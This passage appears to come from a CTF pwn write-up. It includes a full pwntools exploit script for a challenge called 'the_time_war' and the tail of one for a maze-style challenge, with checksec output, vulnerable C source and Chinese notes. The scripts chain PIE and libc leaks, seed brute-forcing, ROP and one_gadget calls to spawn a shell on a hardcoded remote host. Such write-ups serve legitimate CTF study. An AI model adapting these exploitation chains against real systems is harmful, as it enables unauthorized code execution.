 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './chall_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

libcoffsetdict = {}
libcrealdict = {}

def libcdict_add(name, addr):
 if addr > 0x1000000:
 libcrealdict[name] = addr
 addr %= 0x1000
 libcoffsetdict[name] = addr

def getlibc():
 global libc
 if not debug:
 libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))

def initlibc():
 if not debug:
 subprocess.run(['cp', libc.path, './libc.so.6'])
 subprocess.run(['pwninit', '--no-template'])

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

def peek(num=4096):
 message = p.recv(num)
 p.unrecv(message)
 return message

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
ur = lambda x :p.unrecv(x)
pk = lambda num=4096 :peek(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))

item = {
 b'Sword': 0,
 b'Shield': 1,
 b'Potion': 2,
 b'Key': 3,
 b'Scroll': 4,
 b'Amulet': 5,
 b'Crown': 6,
 b'Flag': 7
}

nowx, nowy = 0, 0
main_leak = 0
pie_leak = 0

def move(way):
 global nowx, nowy 
 if way == b'e':
 nowx += 1
 elif way == b'w':
 nowx -= 1
 elif way == b's':
 nowy += 1
 elif way == b'n':
 nowy -= 1
 sla(b'> ', way)

def move_check(way):
 global main_leak
 gotit = b''
 move(way)
 rl()
 if (pk(1) != b'>'):
 r(2)
 if r(1) == b'[':
 return
 ru(b'spot a ')
 gotit = ru(b' ')[:-1]
 if (item[gotit] <= 5):
 main_leak |= (nowx << 4 | nowy) << (8 * item[gotit])

def grab(pwd):
 sla(b'> ', b'grab')
 sa(b'Password: ', pwd[:-1])

def write(data):
 while data:
 sla(b'> ', data[:6])
 data = data[0x8:]

def attack():
 global pie_leak
 for i in range(0x8):
 for _ in range(0x10 - 1):
 move_check(b'e')
 move_check(b's')
 for _ in range(0x10 - 1):
 move_check(b'w')
 if (i < 0x7):
 move_check(b's')
 pie_leak = main_leak - 0x1adf
 leak('pie_leak')

 for _ in range(0x10 - 1):
 move(b'n')
 
 leave_ret = pie_leak + 0x172F
 rw_addr = pie_leak + 0x4910 # history
 reread = pie_leak + 0x164D
 rop_leak_chain = flat([
 rw_addr + 0x20,
 pie_leak + 0x1480, # leak with printf
 0,
 pie_leak + 0x3F98, # last_item leak puts
 rw_addr + 0x38,
 reread
 ])
 write(rop_leak_chain)
 payload = b'A' * 0x10 + p64(rw_addr) + p64(leave_ret)
 grab(payload)
 libc.address = uru64() - libc.sym['puts']
 leak('libc.address')

 xor_rax_ret = libc.address + 0xc75e9
 pop_rbp_ret = pie_leak + 0x1233
 one_gadget = libc.address + 0xef52b
 rop_break_chain = flat([
 xor_rax_ret,
 pop_rbp_ret,
 pie_leak + 0x6000,
 one_gadget
 ])
 sl(rop_break_chain)
 itr()

attack()

# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

# 0x00000000000c75e9: xor rax, rax; ret;

the_time_war

checksec

1
2
3
4
5
6
7


[*] '/home/RatherHard/CTF-pwn/LACTF/the_time_war/pwn_the_time_war'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void run();

void init() {
 setbuf(stdout, NULL);
 srand(clock_gettime);
}

void run() {
 short code[4];
 for (int i = 0; i < 4; i ++) {
 code[i] = rand() % 16;
 }
 printf("You see a locked box. The dial on the lock reads: %d-%d-%d-%d\n", code[0], code[1], code[2], code[3]);
 printf("Which dial do you want to turn? ");
 short ind1, val1, ind2, val2;
 if (scanf("%hd", &ind1) <= 0) {
 return;
 }
 printf("What do you want to set it to? ");
 scanf("%hd", &val1);
 printf("Second dial to turn? ");
 scanf("%hd", &ind2);
 printf("What do you want to set it to? ");
 scanf("%hd", &val2);
 code[ind1] = val1;
 code[ind2] = val2;
 printf("The box remains locked.\n");
}

int main(void) {
 init();
 run();
 return 0;
}

有两个越界写，可以用来劫持

由于有 pie ，第一次劫持的时候需要去爆 1/16

这题需要打 libc ，由于随机数种子为 clock_gettime 的地址的低 4 字节，我们可以去根据生成的随机数去爆破种子从而 leak libc 的一部分

4 个随机数不够，8 个刚好

最后通过伪造栈帧去打 onegadget 即可，不过会碰到缺 libc 的高 4 字节的问题，这一点可以通过把栈上残留值搬到缺失的位置上来解决，需要利用 scanf 解析失败保留原变量值的特性

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115


from pwn import *
from ctypes import CDLL

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './pwn_the_time_war_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
glibc = CDLL('libc.so.6')

target = '60.205.163.215'
port = 13774

def conn():
 if debug:
 return process(file)
 else:
 return remote(target, port)

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

p = io = None

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

numslot = []
seed = 0

def change(idx, val):
 sla(b'turn? ', str(idx).encode())
 sla(b'to? ', str(val).encode())

def recvnum():
 ru(b'lock reads: ')
 for _ in range(3):
 numslot.append(int(ru(b'-')[:-1]))
 numslot.append(int(ru(b'\n')[:-1]))

def hijacklow(idx, addr):
 libc_low = seed - 0xcf420 + addr
 change(10, 0x132A)
 change(idx, libc_low & 0xffff)
 change(10, 0x132A)
 change(idx + 1, (libc_low >> 16) & 0xffff)

def attack():
 global p, io, numslot, seed
 while True:
 try:
 p = io = conn()
 numslot.clear()
 recvnum()
 change(10, 0x132A)
 change(28, '+')
 recvnum()
 except:
 p.close()
 continue
 break
 log.info(f'{numslot}')
 for i in range(0, 0x100000):
 seed = i * 0x1000 + 0x420
 glibc.srand(seed)
 judgeslot = [glibc.rand() % 16 for _ in range(8)]
 if judgeslot == numslot:
 numslot.clear()
 log.info(f"Found the correct seed: {hex(seed)}")
 break
 hijacklow(18, 0x319ad)
 hijacklow(26, 0x4c139)
 change(0, 0)
 change(0, 0)
 itr()

attack()

# 0x00000000000319ad: pop rbx; ret;

# 0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xd515f execve("/bin/sh", rbp-0x40, r13)
# constraints:
# address rbp-0x38 is writable
# rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
# [r13] == NULL || r13 == NULL || r13 is a valid envp